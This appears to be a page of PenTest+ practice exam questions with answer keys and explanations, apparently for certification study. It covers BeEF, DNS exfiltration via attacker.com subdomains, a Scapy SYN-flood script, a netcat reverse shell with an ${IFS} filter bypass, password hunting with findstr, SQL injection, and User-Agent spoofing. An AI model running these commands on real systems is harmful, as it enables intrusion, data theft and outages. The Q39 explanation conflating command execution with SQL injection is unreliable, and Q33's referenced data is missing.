Topic · 44 of 148 questions freeAttacks and Exploits
Question 31Choose 1
A penetration tester would like to leverage a CSRF vulnerability to gather sensitive details from an application's end users. Which of the following tools should the tester use for this task?
Correct answer:
A. Browser Exploitation Framework
Explanation:
The key part of the question is:
“leverage a CSRF vulnerability to gather sensitive details from an application's end users.”
A Cross-Site Request Forgery (CSRF) attack works by:
Targeting authenticated users’ browsers
Forcing the victim’s browser to send unauthorized requests
Exploiting trust between the browser and the web application
To successfully exploit CSRF and collect user data, the tester needs a tool that can interact directly with and control victim browsers.
✅ A. Browser Exploitation Framework (BeEF) — Correct
The Browser Exploitation Framework (BeEF) is specifically designed to:
Hook victim browsers via injected JavaScript
Exploit browser-based vulnerabilities
Perform CSRF attacks automatically
Steal session data and sensitive information
Execute actions as the authenticated user
BeEF is commonly used in scenarios involving:
CSRF
XSS-assisted attacks
Session hijacking
Client-side exploitation
Perfect match for targeting end users through their browsers.
❌ Why the Other Options Are Wrong
B. Maltego
OSINT and relationship-mapping tool.
Used for reconnaissance and intelligence gathering.
Does not exploit web vulnerabilities or browsers.
C. Metasploit
Excellent exploitation framework for hosts and services.
Can assist with web attacks, but it is not specialized for browser control/CSRF exploitation like BeEF.
D. theHarvester
Passive reconnaissance tool.
Collects emails, domains, and public information.
No exploitation capability.
PenTest+ Exam Tip
When CompTIA mentions:
CSRF
End users
Browser interaction
Client-side attacks
Quick mapping often tested:
Attack Type — Common Tool
CSRF / XSS browser attacks — BeEF
OSINT — Maltego / theHarvester
Exploitation framework — Metasploit
Question 32Choose 1
Which of the following protocols would a penetration tester most likely utilize to exfiltrate data covertly and evade detection?
Correct answer:
D. DNS
Explanation:
Covert Channel: DNS is often overlooked by security filters because it is a fundamental protocol required for almost all network activity. Most organizations allow outbound DNS traffic (UDP port 53) to pass through firewalls relatively unchecked. Evasion Technique: Data can be exfiltrated by encoding small chunks of information into subdomains of a domain controlled by the tester (e.g., encoded-data-part1.attacker.com). The tester's authoritative nameserver receives these queries and reconstructs the data. This "low and slow" approach is highly effective at bypassing DLP (Data Loss Prevention) systems that are tuned to look for large file transfers.
Why other options are incorrect
❌ A. FTP: File Transfer Protocol is an unencrypted, "noisy" protocol. Large outbound transfers via FTP are easily flagged by firewalls and intrusion detection systems (IDS). ❌ B. HTTPS: While HTTPS provides encryption (hiding the content of the data), modern Next-Generation Firewalls (NGFW) and Proxy servers often perform SSL inspection or flag unusual volumes of traffic to unknown external domains. ❌ C. SMTP: Email protocols are heavily monitored for spam and data leakage. Sending large amounts of data via mail servers usually triggers alerts or attachment size limits, making it a poor choice for covert exfiltration.
Question 33Choose 1
While conducting a reconnaissance activity, a penetration tester extracts the following information:
Which of the following risks should the tester use to leverage an attack as the next step in the security assessment?
Correct answer:
A. Unauthorized access to the network
Explanation:
Logical Progression: Once email addresses (especially administrative ones like admin@acme.com) have been harvested during the reconnaissance phase, the most direct next step is to use them as usernames for authentication-based attacks. Attack Vectors: These emails allow the tester to launch Password Spraying, Brute Force, or Credential Stuffing attacks against external-facing portals such as VPNs, Office 365, or webmail. If successful, the tester gains a valid set of credentials, leading directly to unauthorized access to the internal network or cloud environment. Target Selection: Administrative accounts are high-value targets because they often possess elevated privileges, making them the primary focus for gaining a foothold.
Why other options are incorrect
❌ B. Exposure of sensitive servers to the internet: While finding emails is a form of exposure, it does not confirm that servers (like databases or internal file shares) are directly reachable from the internet. Email harvesting is a user-centric finding, not a network infrastructure finding.
❌ C. Likelihood of SQL injection attacks: SQL injection is a web application vulnerability found by interacting with input fields (like search bars or login forms). Knowing an email address does not increase the technical likelihood that the underlying code is vulnerable to SQLi.
❌ D. Indication of a data breach in the company: Discovering publicly available email addresses is a standard part of OSINT and does not prove that a data breach has already occurred. Breach indication would require finding leaked passwords or sensitive internal documents.
Question 34Choose 1
A penetration tester is authorized to perform a DoS attack against a host on a network. Given the following input:
ip = IP("192.168.50.2")
tcp = TCP(sport=RandShort(), dport=80, flags="S")
raw = RAW(b"X"*1024)
p = ip/tcp/raw
send(p, loop=1, verbose=0)
Which of the following attack types is most likely being used in the test?
Correct answer:
D. SYN flood
Explanation:
The provided code is a classic Python/Scapy script used to generate a SYN flood.
Key Indicators in the Script:
flags="S"
This is the critical indicator. The "S" flag stands for SYN (Synchronize). In a normal TCP three-way handshake, the client sends a SYN, the server responds with a SYN-ACK, and the client finishes with an ACK.
sport=RandShort()
The script uses a random short integer for the source port, making each request appear to come from a different session.
loop=1
This causes the send function to execute indefinitely in a loop.
By sending a continuous stream of SYN packets without ever sending the final ACK, the attacker forces the target server to keep half-open connections in memory (the SYN backlog). Eventually, this exhausts system resources and prevents legitimate users from connecting.
Incorrect Answers:
A. MDK4
MDK4 (Murder Death Kill 4) is a standalone command-line tool designed for wireless (802.11) attacks such as deauthentication or beacon flooding. It is not a packet-crafting Python script like the one shown. Incorrect.
B. Smurf attack
A Smurf attack is an amplification-based DoS attack using ICMP traffic. It involves sending ICMP Echo Requests with a spoofed source IP address to a broadcast address. The script shown uses TCP packets, not ICMP, so it cannot be a Smurf attack. Incorrect.
C. FragAttack
FragAttacks (Fragmentation and Aggregation Attacks) refer to a set of Wi-Fi (802.11) vulnerabilities discovered in 2021 that exploit frame fragmentation behavior. The provided script performs a Layer 3/4 TCP attack, not a Layer 2 wireless fragmentation exploit. Incorrect.
Conclusion:
The script repeatedly sends TCP SYN packets with random source ports in an infinite loop, which is the definition of a SYN flood denial-of-service attack.
Question 35Choose 1
A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?
Correct answer:
D. attacker_host$ proxychains nmap -sT
Explanation:
The scenario describes a penetration tester who has compromised a host and now wants to pivot through that host to enumerate other targets. Pivoting requires setting up a relay or proxy so that traffic from the tester’s machine is tunneled through the compromised host.
Analysis of the Options:
A. nmap -sT | nc -n 22
This syntax is invalid and does not properly establish a relay or pivot. It does not create a functional tunnel for enumeration. Incorrect.
B. mknod backpipe p ...
This refers to a named pipe technique sometimes used to relay traffic, but the command shown is malformed and not appropriate for reliable pivoting with Nmap. Incorrect.
C. nc -nlp 8000 | nc -n ... nmap -sT 127.0.0.1 8000
This attempts to chain Netcat listeners together, but it is not a clean or reliable method for pivoting Nmap scans through a compromised host. Incorrect.
D. proxychains nmap -sT
This is the correct answer. Proxychains forces Nmap traffic through a configured proxy (such as a SOCKS proxy running on the compromised host). This allows the tester to route scan traffic through the pivot system to reach internal targets.
Why D Is the Best Choice:
Proxychains integrates with tools such as Nmap, curl, and ssh to route traffic through a compromised system.
It enables enumeration of internal services as if scanning locally, while traffic is relayed through the pivot host.
It is a standard and recognized post-exploitation pivoting technique.
Conclusion:
The correct method for pivoting and enumerating internal systems through a compromised host is using proxychains with Nmap.
Question 36Choose 1
During a security assessment for an internal corporate network, a penetration tester wants to gain unauthorized access to internal resources by executing an attack that uses software to disguise itself as legitimate software. Which of the following host-based attacks should the tester use?
Correct answer:
C. Rootkit
Explanation:
The question describes a host-based attack where the attacker uses software to disguise itself as legitimate software to gain unauthorized access to internal resources on a compromised system within an internal corporate network.
Rootkit — Correct Answer
A rootkit is a type of malicious software designed to hide its presence and provide privileged (often root or administrator-level) access to a system.
It achieves stealth by disguising itself and modifying operating system components such as:
Kernel modules
Processes
Files and directories
Registry entries
Network connections
This makes the malware appear legitimate or invisible to standard monitoring tools, antivirus software, and even administrators.
Common rootkit techniques include:
Hooking system calls
Hiding processes, files, and directories
Altering logs
Masquerading as legitimate drivers or services
Once installed, a rootkit enables persistent, stealthy unauthorized access and control over the host — which directly matches the scenario described.
Why the Other Options Are Incorrect:
A. On-path
An on-path (formerly man-in-the-middle) attack is network-based. It intercepts communications between systems (such as through ARP poisoning or DNS spoofing). It does not disguise malicious software on the host itself. Incorrect.
B. Logic bomb
A logic bomb is malware that triggers when a specific condition is met, such as a certain date or event. It does not focus on stealthy, ongoing access or disguising itself as legitimate software. Incorrect.
D. Buffer overflow
A buffer overflow is an exploitation technique used to execute arbitrary code or gain initial access. It is not a persistence or concealment mechanism. It does not inherently disguise malicious software. Incorrect.
Key Learning Point:
Rootkits are classic host-based persistence and defense evasion tools. They are specifically designed to mask malicious activity and maintain stealthy access on compromised systems.
Conclusion:
To disguise malicious software as legitimate and maintain unauthorized access to internal resources on a host, the correct answer is a rootkit.
Question 37Choose 1
During an assessment, a penetration tester obtains a low-privilege shell and then runs the following command:
findstr /SIM /C:"pass" *.txt *.cfg *.xml
Which of the following is the penetration tester trying to enumerate?
Correct answer:
D. Secrets
Explanation:
The command findstr /SIM /C:"pass" *.txt *.cfg *.xml is a powerful search command used on Windows systems. Let's break down the syntax:
findstr: The Windows command-line utility for searching for text patterns in files (similar to grep on Linux).
/S: Search in the current directory and all subdirectories.
/I: Perform a case-insensitive search.
/M: Print only the filename if the file contains a match.
/C:"pass": Search for the literal string "pass".
*.txt *.cfg *.xml: The file extensions to search through (text files, configuration files, and XML files).
The goal is to find any file with a .txt, .cfg, or .xml extension that contains the string "pass". The string "pass" is a very common substring in words related to authentication and sensitive data, such as:
password
passwd
passphrase
userpass
encryptionpass
By running this command from a low-privilege shell, the penetration tester is attempting to discover secrets—like plaintext passwords, password hashes, or other authentication tokens—that may have been inadvertently stored in these common file types by applications or users.
Analysis of Incorrect Options A. Configuration files: While this is partially correct because the command is searching through configuration files (.cfg, .xml, and even .txt files often contain configuration data), this is too narrow. The objective isn't just to find configuration files; it's to search within those files (and text/XML files) for a specific type of sensitive data: secrets. The search term "pass" reveals the true intent, which goes beyond just enumerating configuration files.
B. Permissions: The findstr command is searching file contents for a specific string. It is not interacting with or displaying file system permissions (e.g., ACLs, read/write attributes). A command like icacls or cacls would be used for enumerating permissions.
C. Virtual hosts: Virtual hosts are typically configured in web server configuration files (like httpd.conf on Apache or within site bindings in IIS). While an XML or config file might contain virtual host settings, the specific search string "pass" is not indicative of searching for virtual host configurations. The tester would more likely be searching for strings like "VirtualHost" or "ServerName".
Reference
This technique falls under CompTIA PenTest+ (PT0-003) Domain 3.0: Attacks and Exploits, specifically related to:
Privilege Escalation: A common step after gaining initial access is to search the file system for credentials (secrets) that can be used to elevate privileges or move laterally across the network.
Data Mining: Searching for sensitive, cleartext data stored insecurely on a system.
Question 38Choose 1
A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command:
nc -e /bin/sh 10.10.10.16 4444
Which of the following would most likely bypass the filtered space character?
Correct answer:
A. ${IFS}
Explanation:
The goal is to bypass a filter that is blocking the space character in a command injection attack. The space is crucial for separating the command (nc), its flags (-e), and its arguments (/bin/sh, 10.10.10.16, 4444).
${IFS} is a special shell variable in Linux and other Unix-like systems. IFS stands for Internal Field Separator. By default, this variable contains whitespace characters—including the space, tab, and newline—which the shell uses to split words.
When the shell interpreter encounters ${IFS}, it replaces it with a space (or other whitespace). This allows an attacker to use ${IFS} as a direct substitute for the space character that is being filtered. The command would be rewritten as:
nc${IFS}-e${IFS}/bin/sh${IFS}10.10.10.16${IFS}4444
From the shell's perspective after variable expansion, this is identical to the original command: nc -e /bin/sh 10.10.10.16 4444.
Analysis of Incorrect Options B. %0a: This is a URL-encoded representation of a newline character (\n). While a newline can sometimes be used to terminate one command and start another in certain injection contexts (like in HTTP headers or web scripts), it is not a direct substitute for a space character. It would not correctly separate the arguments within the same nc command and would likely cause a syntax error.
*C. + : These characters are not standard substitutes for a space in shell command syntax.
+ is an operator, not a word separator.
* is a wildcard for globbing (filename expansion). Using it in place of a space would lead to the shell expanding it to filenames in the current directory, which would break the command.
D. %20: This is the URL-encoded representation of a space character. If the application is filtering the literal space character, it is highly likely also decoding URL-encoded input before applying the filter. Therefore, submitting %20 would simply be decoded back into a space, which would then be caught by the same blocklist. It does not effectively bypass a filter that is aware of basic encoding.
Reference
This question falls under CompTIA PenTest+ (PT0-003) Domain 3.0: Attacks and Exploits, specifically objective 3.2 Given a scenario, exploit network-based vulnerabilities and 3.3 Given a scenario, exploit application-based vulnerabilities.
Question 39Choose 1
As part of a security audit, a penetration tester finds an internal application that accepts unexpected user inputs, leading to the execution of arbitrary commands. Which of the following techniques would the penetration tester most likely use to access the sensitive data?
Correct answer:
B. SQL injection
Explanation:
During a penetration test, if an internal application accepts unexpected user input that results in the execution of arbitrary commands, the most likely issue is SQL Injection (SQLi). SQL injection occurs when an attacker or tester manipulates input fields so that the backend interprets the input as part of a SQL query. This vulnerability allows direct interaction with the database, enabling the execution of unintended commands and access to sensitive data.
For example, if the application builds a query dynamically:
SELECT * FROM users WHERE username = ' " + userInput + " ';
An attacker could enter:
' OR '1'='1
turning the query into:
SELECT * FROM users WHERE username = '' OR '1'='1';
This always returns true, granting unauthorized access to all records. Through this method, a tester could extract sensitive data, bypass authentication, and even modify or delete records. More advanced attacks might include Union-based SQLi (to merge queries), Boolean-based blind SQLi, or Time-based blind SQLi to infer data when direct output is restricted.
SQL injection vulnerabilities arise from improper input validation, lack of parameterized queries, or insufficient output encoding. These issues are common in applications that concatenate user input directly into SQL commands. Since the scenario specifically mentions arbitrary command execution via input fields, SQL injection is the most logical exploitation technique to access sensitive data.
Mitigation involves implementing prepared statements, stored procedures, input sanitization, and principle of least privilege for database accounts.
Why the Other Options Are Incorrect A. Logic Bomb:
A logic bomb is malicious code that activates when certain conditions are met (e.g., a specific date or event). It’s typically planted by insiders or threat actors to cause harm later. Penetration testers do not deploy destructive payloads, and this technique does not relate to exploiting unexpected input or retrieving data from a database.
C. Brute-Force Attack:
A brute-force attack involves guessing passwords or encryption keys repeatedly until the correct one is found. It targets authentication systems, not vulnerabilities in how input is handled by applications. It does not involve executing arbitrary commands or querying data from a database.
D. Cross-Site Scripting (XSS):
XSS exploits client-side input validation flaws, allowing attackers to inject malicious scripts (usually JavaScript) into web pages viewed by other users. It targets the browser, not the server-side database, and therefore cannot execute backend commands or extract sensitive data stored on the server.
References
CompTIA PenTest+ (PT0-003) Exam Objectives, Domain 3.0 – Attacks and Exploits
OWASP Top 10 (2021) – A03:2021: Injection (https://owasp.org/Top10/A03_2021-Injection/
)
NIST SP 800-115, Technical Guide to Information Security Testing and Assessment, Section 5.3.4 – Application Testing
MITRE ATT&CK Framework, Technique T1190 – Exploit Public-Facing Application
CIS Controls v8, Control 16 – Application Software Security
✅ Summary:
The vulnerability described fits SQL injection, where improper handling of user input allows execution of backend database commands to access sensitive information. Other options like logic bombs, brute-force attacks, and XSS do not allow arbitrary command execution or database data extraction. Therefore, Option B (SQL Injection) is the correct and most accurate answer.
Question 40Choose 1
A penetration tester attempts to run an automated web application scanner against a target URL. The tester validates that the web page is accessible from a different device. The tester analyzes the following HTTP request header logging output:
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: curl
200; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: python
Which of the following actions should the tester take to get the scans to work properly?
Correct answer:
D. Modify the scanner user agent.
Explanation:
The log output clearly indicates that the target web server is filtering or blocking requests based on the User-Agent string.
Let's analyze the log:
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
Result: Success (200 OK).
Method: GET
User-Agent: Mozilla/5.0 (A common, browser-like user agent).
No response; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: curl
Result: No response (likely blocked).
Method: POST
User-Agent: curl (A common command-line tool user agent).
200; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
Result: Success (200 OK).
Method: POST
User-Agent: Mozilla/5.0 (Browser-like).
No response; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: python
Result: No response (likely blocked).
Method: GET
User-Agent: python (A common scripting/user agent).
Key Observation:
The success or failure of the request is not dependent on the HTTP method (GET vs. POST). It is solely dependent on the User-Agent. Every request with Mozilla/5.0 succeeds, while every request with a non-browser User-Agent (curl, python) fails.
This is a common security control, often implemented via a Web Application Firewall (WAF), to block automated scripts and scanners that use default or easily identifiable User-Agent strings. The automated scanner is likely using its default User-Agent (like curl or python-requests), which is being blocked.
Therefore, the most direct and effective action is to modify the scanner's user agent to mimic a common web browser (like Mozilla/5.0...) to evade this simple detection mechanism.
Analysis of Incorrect Options A. Modify the scanner to slow down the scan. This would be a valid tactic if the issue were rate limiting, where too many requests in a short period trigger a block. The log shows an immediate block on the first request with a specific User-Agent, not a pattern of successful requests followed by a block, so rate limiting is not the issue here.
B. Change the source IP with a VPN. This would be a valid tactic if the blocking were based on the source IP address. However, the log shows that requests from the same source IP are successful when they use a Mozilla user agent and fail when they use a curl or python user agent. The IP is not the discriminating factor.
C. Modify the scanner to only use HTTP GET requests. The log proves this is ineffective. A GET request with a python user agent fails (No response), while a POST request with a Mozilla user agent succeeds. The HTTP method is irrelevant to the block.
Reference:
This scenario falls under the CompTIA PenTest+ (PT0-003) Domain 3.0: Attacks and Exploits, specifically objective 3.2 Given a scenario, exploit network-based vulnerabilities. Part of network exploitation involves evading defensive measures, such as WAF rules that filter based on HTTP headers like the User-Agent.
Practice Like It's Exam Day
Get exam-ready with a timed PT0 003 CompTIA PenTest+ mock exam designed to match the official exam's question format, question count, and time limit.